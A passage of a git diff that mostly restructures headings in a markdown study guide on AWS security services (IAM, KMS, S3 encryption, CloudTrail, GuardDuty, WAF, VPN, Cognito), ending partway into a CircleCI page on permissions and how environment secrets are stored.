Security +# Types of services -## Types of services - -### Container services +## Container services Services that fall under container services have the following characteristics: @@ -32,7 +30,7 @@ Services that fall under container services have the following characteristics: * Also, platform-level identity and access management where it exists. * **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. -### Abstract Services +## Abstract Services * These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. * The services are accessed via endpoints using AWS application programming interfaces, APIs. @@ -41,7 +39,7 @@ Services that fall under container services have the following characteristics: * **Data is isolated via security mechanisms**. * Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. -## IAM - Identity and Access Management +# IAM - Identity and Access Management IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. @@ -51,11 +49,11 @@ IAM is the service that will allow you to manage **Authentication**, **Authoriza IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. -### Users +## Users This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application** that may require permissions to **access** your **AWS** resources **programmatically**. Note that **usernames must be unique**. -#### CLI +### CLI * **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT * **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). @@ -65,23 +63,23 @@ _Create a new access key -> Apply the new key to system/application -> mark orig **MFA** is **supported** when using the AWS **CLI**. -### Groups +## Groups These are objects that **contain multiple users**. Permissions can be assigned to a user or inherit form a group. **Giving permission to groups and not to users the secure way to grant permissions**. -### Roles +## Roles Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources (like EC2 machines) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized. An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access. -#### AWS Security Token Service (STS) +### AWS Security Token Service (STS) This is a web service that enables you to **request temporary, limited-privilege credentials** for AWS Identity and Access Management (IAM) users or for users that you authenticate (federated users). -### Policies +## Policies -#### Policy Permissions +### Policy Permissions Are used to assign permissions. There are 2 types: @@ -114,32 +112,32 @@ If **single "Deny" exist, it will override the "Allow"**, except for requests th } ``` -#### Inline Policies +### Inline Policies This kind of policies are **directly assigned** to a user, group or role. Then, they not appear in the Policies list as any other one can use them.\ Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. -#### S3 Bucket Policies +### S3 Bucket Policies Can only be applied to S3 Buckets. They contains an attribute called 'principal' that can be: IAM users, Federated users, another AWS account, an AWS service. P**rincipals define who/what should be allowed or denied access to various S3 resources.** -### Multi-Factor Authentication +## Multi-Factor Authentication It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. -### Identity Federation +## Identity Federation Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account. \ An example of an identity provider can be your own corporate Microsoft Active Directory(via SAML) or OpenID services (like Google). Federated access will then allow the users within it to access AWS.\ AWS Identity Federation connects via IAM roles. -#### Cross Account Trusts and Roles +### Cross Account Trusts and Roles **A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. -#### AWS Simple AD +### AWS Simple AD Not supported: @@ -151,16 +149,16 @@ Not supported: * Schema Extensions * No Direct access to OS or Instances -#### Web Federation or OpenID Authentication +### Web Federation or OpenID Authentication The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However this doesn't grant access to the AWS console, just access to resources within AWS. -### Other IAM options +## Other IAM options * You can **set a password policy setting** options like minimum length and password requirements. * You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. -## KMS - Key Management Service +# KMS - Key Management Service AWS Key Management Service (AWS KMS) is a managed service that makes it easy for you to **create and control **_**customer master keys**_** (CMKs)**, the encryption keys used to encrypt your data. AWS KMS CMKs are **protected by hardware security modules** (HSMs) @@ -180,7 +178,7 @@ There are 2 types of master keys: **Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. -### Key Policies +## Key Policies These defines **who can use and access a key in KMS**. By default root user has full access over KMS, if you delete this one, you need to contact AWS for support. @@ -204,7 +202,7 @@ Access: * Via IAM policy * Via grants -### Key Administrators +## Key Administrators Key administrator by default: @@ -212,7 +210,7 @@ Key administrator by default: * Only IAM users and roles can be added to Key Administrators list (not groups) * If external CMK is used, Key Administrators have the permission to import key material -### Rotation of CMKs +## Rotation of CMKs * The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. * **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. @@ -220,7 +218,7 @@ Key administrator by default: * In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. * If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. -#### Manual rotation +### Manual rotation * A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. * To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. @@ -228,7 +226,7 @@ Key administrator by default: You can import keys from your on-premises key infrastructure . -### Other information +## Other information KMS is priced per number of encryption/decryption requests received from all services per month. @@ -242,7 +240,7 @@ With KMS policy you can do the following: You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. -## S3 +# S3 Amazon S3 is a service that allows you **store important amounts of data**. @@ -250,11 +248,11 @@ Amazon S3 provides multiple options to achieve the **protection** of data at RES With resource-based permissions, you can define permissions for sub-directories of your bucket separately. -### S3 Access logs +## S3 Access logs It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket. The source bucket and the target bucket (the one is saving the logs needs to be in the same region. -### S3 Encryption Mechanisms +## S3 Encryption Mechanisms **DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. @@ -314,7 +312,7 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever * S3 sends the encrypted data and DEK * As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data -## HSM - Hardware Security Module +# HSM - Hardware Security Module Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. @@ -338,7 +336,7 @@ Additionally, cross consideration must be made in the purchase of third party so **With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. -### CloudHSM Suggestions +## CloudHSM Suggestions 1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. 2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. @@ -354,7 +352,7 @@ The most common reason to use CloudHSM is compliance standards that you must mee The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. -## Amazon Athena +# Amazon Athena Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. @@ -366,7 +364,7 @@ Amazon Athena supports the **hability to query S3 data that is already encrypted SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. -## AWS CloudTrail +# AWS CloudTrail This service **tracks and monitors AWS API calls made within the environment**. Each call to an API (event) is logged. Each logged event contains: @@ -387,11 +385,11 @@ When creating a Trail the event selectors will allow you to indicate the trail t Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. -### Log File Naing Convention +## Log File Naing Convention ![](<../.gitbook/assets/image (429).png>) -### S3 folder structure +## S3 folder structure ![](<../.gitbook/assets/image (428).png>) @@ -401,7 +399,7 @@ Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names, ![](<../.gitbook/assets/image (437).png>) -### Aggregate Logs from Multiple Accounts +## Aggregate Logs from Multiple Accounts * Create a Trial in the AWS account where you want the log files to be delivered to * Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access @@ -409,7 +407,7 @@ Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names, However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account -### Log Files Checking +## Log Files Checking You can check that the logs haven't been altered by running @@ -417,7 +415,7 @@ You can check that the logs haven't been altered by running aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logs to CloudWatch +## Logs to CloudWatch **CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: @@ -425,17 +423,17 @@ Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** * CreateLogStream: This allows to create a CloudWatch Logs log streams * PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream -### Event History +## Event History CloudTrail Event History allows you to inspect in a table the logs that have been recorded: ![](<../.gitbook/assets/image (431).png>) -### Insights +## Insights **CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. -## CloudWatch +# CloudWatch Amazon CloudWatch allows to **collect all of your logs in a single repository** where you can create **metrics** and **alarms** based on the logs.\ CloudWatch Log Event have a **size limitation of 256KB of each log line**. @@ -450,7 +448,7 @@ Events that are monitored: * API calls that resulted in failed authorization * Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -### Agent Installation +## Agent Installation You can install agents insie your machines/containers to automatically send the logs back to CloudWatch. @@ -460,17 +458,17 @@ You can install agents insie your machines/containers to automatically send the A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. -## Cost Explorer and Anomaly detection +# Cost Explorer and Anomaly detection This allows you to check how are you expending money in AWS services and help you **detecting anomalies**.\ Moreover, you can configure an anomaly detection so AWS will warn you when some anomaly in costs is found. -### Budgets +## Budgets Budgets help to manage costs and usage. You can get **alerted when a threshold is reached**.\ Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). -## AWS Config +# AWS Config AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI.\ This service is **region specific**. @@ -491,7 +489,7 @@ A configuration item or **CI** as it's known, is a key component of AWS Config. **S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. -### Config Rules +## Config Rules Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. @@ -502,13 +500,13 @@ AWS have a number of **predefined rules** that fall under the security umbrella Limit of 50 config rules per region before you need to contact AWS for an increase.\ Non compliant results are NOT deleted. -## SNS Topic +# SNS Topic SNS topic is used as a **configuration stream for notifications** from different AWS services like Config or CloudWatch alarms.\ You can have various endpoints associated to the SNS stream.\ You can use SNS topic to send notifications to you via email or to SQS to treate programatically the notification. -## Inspector +# Inspector The Amazon Inspector service is **agent based**, meaning it requires software agents to be **installed on any EC2 instances** you want to assess. This makes it an easy service to be configured and added at any point to existing resources already running within your AWS infrastructure. This helps Amazon Inspector to become a seamless integration with any of your existing security processes and procedures as another level of security. @@ -521,7 +519,7 @@ These are the tests that AWS Inspector allow you to perform: You can make any of those run on the EC2 machines you decide. -### Element of AWS Inspector +## Element of AWS Inspector **Role**: Create or select a role to allow Amazon Inspector to have read only access to the EC2 instances (DescribeInstances)\ **Assessment Targets**: Group of EC2 instances that you want to run an assessment against\ @@ -547,7 +545,7 @@ Amazon Inspector has a pre-defined set of rules, grouped into packages. Each Ass Note that nowadays AWS already allow you to **autocreate** all the necesary **configurations** and even automatically **install the agents inside the EC2 instances.** {% endhint %} -### **Reporting** +## **Reporting** **Telemetry**: data that is collected from an instance, detailing its configuration, behavior and processes during an assessment run. Once collected, the data is then sent back to Amazon Inspector in near-real-time over TLS where it is then stored and encrypted on S3 via an ephemeral KMS key. Amazon Inspector then accesses the S3 Bucket, decrypts the data in memory, and analyzes it against any rules packages used for that assessment to generate the findings. @@ -556,7 +554,7 @@ Note that nowadays AWS already allow you to **autocreate** all the necesary **co * The **findings report** contain the summary of the assessment, info about the EC2 and rules and the findings that occurred. * The **full report** is the finding report + a list of rules that were passed. -## Trusted Advisor +# Trusted Advisor The main function of Trusted Advisor is to **recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service. @@ -569,7 +567,7 @@ The full power and potential of AWS Trusted Advisor is only really **available i Trusted advisor can send notifications and you can exclude items from it.\ Trusted advisor data is **automatically refreshed every 24 hours**, **but** you can perform a **manual one 5 mins after the previous one.** -## Amazon GuardDuty +# Amazon GuardDuty Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor** their **AWS account** for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.\ For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength.\ @@ -601,7 +599,7 @@ You pay for the processing of your log files, per 1 million events per months fr When a user disable GuardDuty, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the existing findings will be lost.\ If you just stop it, the existing findings will remain. -## Amazon Macie +# Amazon Macie The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data** that you are storing within your AWS account. @@ -680,13 +678,13 @@ The research function allows to create you own queries again all Amazon Macie da It possible to invite other accounts to Amazon Macie so several accounts share Amazon Macie. -## Route 53 +# Route 53 You can very easily create **health checks for web pages** via Route53. For example you can create HTTP checks on port 80 to a page to check that the web server is working. Route 53 service is mainly used for checking the health of the instances. To check the health of the instances we can ping a certain DNS point and we should get response from the instance if the instances are healthy. -## CloufFront +# CloufFront Amazon CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. @@ -694,9 +692,9 @@ The log files capture data over a period of time and depending on the amount of **By default cookie logging is disabled** but you can enable it. -## VPC +# VPC -### VPC Flow Logs +## VPC Flow Logs Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allows you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. @@ -718,7 +716,7 @@ For every network interface that publishes data to the CloudWatch log group, it ![](<../.gitbook/assets/image (433).png>) -### Subnets +## Subnets Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.\ Valid CIDR are from a /16 netmask to a /28 netmask.\ @@ -738,7 +736,7 @@ By default, all subnets have the automatic assigned of public IP addresses turne If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. -### VPC Peering +## VPC Peering VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. @@ -746,7 +744,7 @@ Once the peer connectivity is established, **resources in one VPC can access res If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** -## AWS Secrets Manager +# AWS Secrets Manager AWS Secrets Manager is a great service to enhance your security posture by allowing you to **remove any hard-coded secrets within your application and replacing them with a simple API call** to the aid of your secrets manager which then services the request with the relevant secret. As a result, AWS Secrets Manager acts as a **single source of truth for all your secrets across all of your applications**. @@ -758,7 +756,7 @@ To allow a user form a different account to access your secret you need to autho **AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** -## EMR +# EMR EMR is a managed service by AWS and is comprised of a **cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark. @@ -778,7 +776,7 @@ Once the TLS certificate provider has been configured in the security configurat * Tez Shuffle Handler uses TLS. * Spark: The Akka protocol uses TLS. Block Transfer Service uses Simple Authentication Security Layer and 3DES. External shuffle service uses the Simple Authentication Security Layer. -## RDS - Relational Database Service +# RDS - Relational Database Service RDS allows you to set up a **relational database** using a number of **different engines** such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption. @@ -794,7 +792,7 @@ If you want to use the TDE method, then you must first ensure that the database Once the database is associated with an option group, you must ensure that the Oracle Transparent Data Encryption option is added to that group. Once this TDE option has been added to the option group, it cannot be removed. TDE can use two different encryption modes, firstly, TDE tablespace encryption which encrypts entire tables and, secondly, TDE column encryption which just encrypts individual elements of the database. -## Amazon Kinesis Firehouse +# Amazon Kinesis Firehouse Amazon Firehose is used to deliver **real-time streaming data to different services** and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch. @@ -812,7 +810,7 @@ As a part of this process, it's important to ensure that both producer and consu Kinesis SSE encryption will typically call upon KMS to **generate a new data key every five minutes**. So, if you had your stream running for a month or more, thousands of data keys would be generated within this time frame. -## Amazon Redshift +# Amazon Redshift Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. @@ -820,7 +818,7 @@ Redshift is a fully managed service that can scale up to over a petabyte in size Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. -### KMS +## KMS During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. @@ -836,7 +834,7 @@ This encrypted DEK is then sent over a secure channel and stored in Redshift sep You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. -### CloudHSM +## CloudHSM When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. @@ -848,19 +846,19 @@ If your internal security policies or governance controls dictate that you must During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. -## WAF +# WAF AWS WAF is a web application firewall that helps **protect your web applications** or APIs against common web exploits that may affect availability, compromise security, or consume excessive resources. AWS WAF gives you control over **how traffic reaches your applications** by enabling you to create security rules that block common attack patterns, such as SQL injection or cross-site scripting, and rules that filter out specific traffic patterns you define. So there are a number of essential components relating to WAF, these being: Conditions, Rules and Web access control lists, also known as Web ACLs -### Conditions +## Conditions Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** (XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf. You can have **100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception** to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules** per account. Finally you can have **10,000 requests per second** when **using WAF** within your application load balancer. -### Rules +## Rules Using these conditions you can create rules: For example, block request if 2 conditions are met.\ When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**. @@ -869,7 +867,7 @@ The only **difference** between a rate-based rule and a regular rule is that **r When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**, **all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule. -### Actions +## Actions An action is applied to each rule, these actions can either be **Allow**, **Block** or **Count**. @@ -883,11 +881,11 @@ If an **incoming request does not meet any rule** within the Web ACL then the re 2. BlackListed IPs Block 3. Any Bad Signatures also as Block. -### CloudWatch +## CloudWatch WAF CloudWatch metrics are reported **in one minute intervals by default** and are kept for a two week period. The metrics monitored are AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. -## AWS Firewall Manager +# AWS Firewall Manager AWS Firewall Manager simplifies your administration and maintenance tasks across multiple accounts and resources for **AWS WAF, AWS Shield Advanced, Amazon VPC security groups, and AWS Network Firewall**. With Firewall Manager, you set up your AWS WAF firewall rules, Shield Advanced protections, Amazon VPC security groups, and Network Firewall firewalls just once. The service **automatically applies the rules and protections across your accounts and resources**, even as you add new resources. @@ -899,7 +897,7 @@ A **rule group** (a set of WAF rules together) can be added to an AWS Firewall M **Firewall Manager policies only allow "Block" or "Count"** options for a rule group (no "Allow" option). -## AWS Shield +# AWS Shield AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. @@ -909,13 +907,13 @@ AWS Shield has been designed to help **protect your infrastructure against distr Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** -## VPN +# VPN -### Site-to-Site VPN +## Site-to-Site VPN **Connect your on premisses network with your VPC.** -#### Concepts +### Concepts * **VPN connection**: A secure connection between your on-premises equipment and your VPCs. * **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. @@ -926,7 +924,7 @@ Whereas the Standard version of Shield offered protection against layer three an * **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. * **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -#### Limitations +### Limitations * IPv6 traffic is not supported for VPN connections on a virtual private gateway. * An AWS VPN connection does not support Path MTU Discovery. @@ -935,11 +933,11 @@ In addition, take the following into consideration when you use Site-to-Site VPN * When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. -### Components of Client VPN +## Components of Client VPN **Connect from your machine to your VPC** -#### Concepts +### Concepts * **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. * **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. @@ -952,7 +950,7 @@ In addition, take the following into consideration when you use Site-to-Site VPN * **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. * **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. -#### Limitations +### Limitations * **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. * Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** @@ -970,13 +968,13 @@ In addition, take the following into consideration when you use Site-to-Site VPN ``` * The self-service portal is **not available for clients that authenticate using mutual authentication**. -## Amazon Cognito +# Amazon Cognito Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a **third party** such as Facebook, Amazon, Google or Apple. The two main components of Amazon Cognito are user pools and identity pools. **User pools** are user directories that provide **sign-up and sign-in options for your app users**. **Identity pools** enable you to grant your users **access to other AWS services**. You can use identity pools and user pools separately or together. -### **User pools** +## **User pools** A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK. @@ -989,7 +987,7 @@ User pools provide: * Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification. * Customized workflows and user migration through AWS Lambda triggers. -### **Identity pools** +## **Identity pools** With an identity pool, your users can **obtain temporary AWS credentials to access AWS services**, such as Amazon S3 and DynamoDB. Identity pools support anonymous guest users, as well as the following identity providers that you can use to authenticate users for identity pools: diff --git a/cloud-security/circleci.md b/cloud-security/circleci.md index 26383dcf..a31ab05a 100644 --- a/cloud-security/circleci.md +++ b/cloud-security/circleci.md @@ -17,28 +17,26 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# CircleCI - -## Basic Information +# Basic Information [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you ca **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example. -## Permissions +# Permissions **CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\ In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...). However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**. -## Env Variables & Secrets +# Env Variables & Secrets According to [**the docs**](https://circleci.com/docs/2.0/env-vars/#) there are different ways to **load values in environment variables** inside a workflow. -### Built-in env variables +## Built-in env variables Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`. -### Clear text +## Clear text You can declare them in clear text inside a **command**: @@ -82,7 +80,7 @@ jobs: SECRET: A secret ``` -### Project Secrets +## Project Secrets These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\ You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_ @@ -93,7 +91,7 @@ You can see them **declared in** _https://app.circleci.com/settings/project/gith The "**Import Variables**" functionality allows to **import variables from other projects** to this one. {% endhint %} -### Context Secrets +## Context Secrets These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here: @@ -104,17 +102,17 @@ However, note that a different group (instead of All members) can be **selected This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to 